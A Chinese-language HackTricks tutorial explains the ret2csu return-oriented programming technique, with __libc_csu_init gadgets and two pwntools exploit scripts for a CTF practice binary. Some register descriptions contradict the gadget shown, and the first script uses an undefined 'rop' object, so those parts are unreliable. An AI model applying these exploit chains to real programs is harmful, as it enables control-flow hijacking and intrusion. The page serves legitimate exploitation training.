Ret2csu

支持 HackTricks

ret2csu 是一种黑客技术,当你试图控制一个程序但找不到通常用来操纵程序行为的 gadgets 时使用。

当一个程序使用某些库(如 libc)时,它有一些内置函数来管理程序不同部分之间的通信。在这些函数中,有一些隐藏的宝石可以作为我们缺失的 gadgets,特别是一个叫 __libc_csu_init 的函数。

__libc_csu_init 中的魔法 gadgets

__libc_csu_init 中,有两个指令序列(gadgets)值得强调:

  1. 第一个序列让我们在几个寄存器(rbx, rbp, r12, r13, r14, r15)中设置值。这些就像我们可以存储后续要使用的数字或地址的槽。

pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

这个小工具允许我们通过从栈中弹出值来控制这些寄存器。

  1. 第二个序列使用我们设置的值来做几件事情:

  • 将特定值移动到其他寄存器中,使它们准备好作为函数中的参数使用。

  • 执行对一个位置的调用,该位置由将 r15 和 rbx 中的值相加,然后将 rbx 乘以 8 来确定。

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. 也许你不知道要写入的地址,并且你需要一个 ret 指令。请注意,第二个 gadget 也将ret 结束,但你需要满足一些条件才能到达它:

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

条件将是:

  • [r12 + rbx*8] 必须指向一个存储可调用函数的地址(如果没有想法且没有PIE,可以直接使用 _init 函数):

  • 如果 _init0x400560,使用 GEF 在内存中搜索指向它的指针,并使 [r12 + rbx*8] 成为指向 _init 的指针的地址:

# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44     "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44     "\x60\x05\x40[...]"
  • rbprbx 必须具有相同的值以避免跳转

  • 需要考虑一些省略的 pop

RDI 和 RSI

通过访问特定的偏移量,从 ret2csu gadget 控制 rdirsi 的另一种方法是:

查看此页面以获取更多信息:

BROP - Blind Return Oriented Programming

示例

使用调用

想象一下,您想要进行系统调用或调用像 write() 这样的函数,但需要在 rdxrsi 寄存器中作为参数的特定值。通常,您会寻找直接设置这些寄存器的 gadgets,但您找不到任何。

这时 ret2csu 发挥作用:

  1. 设置寄存器:使用第一个魔法 gadget 从栈中弹出值并放入 rbx、rbp、r12(edi)、r13(rsi)、r14(rdx)和 r15。

  2. 使用第二个 gadget:在设置好这些寄存器后,您使用第二个 gadget。这使您能够将所选值移动到 rdxrsi(分别来自 r14 和 r13),为函数调用准备参数。此外,通过控制 r15rbx,您可以使程序调用位于您计算并放入 [r15 + rbx*8] 的地址的函数。

您可以在这里找到一个 使用此技术并解释的示例,这是它使用的最终利用:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

注意,之前的漏洞并不是为了实现 RCE,而是为了调用一个名为 win 的函数(从标准输入调用 gets 获取 win 的地址并将其存储在 r15 中),并带有一个值为 0xdeadbeefcafed00d 的第三个参数。

绕过调用并到达 ret

以下漏洞是从 这个页面 提取的,其中使用了 ret2csu,但不是使用调用,而是 绕过比较并到达 ret 在调用之后:

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

为什么不直接使用libc?

通常这些情况也容易受到ret2plt + ret2lib的攻击,但有时你需要控制的参数比直接在libc中找到的gadgets更复杂。例如,write()函数需要三个参数,而直接找到设置所有这些的gadgets可能是不可能的

Last updated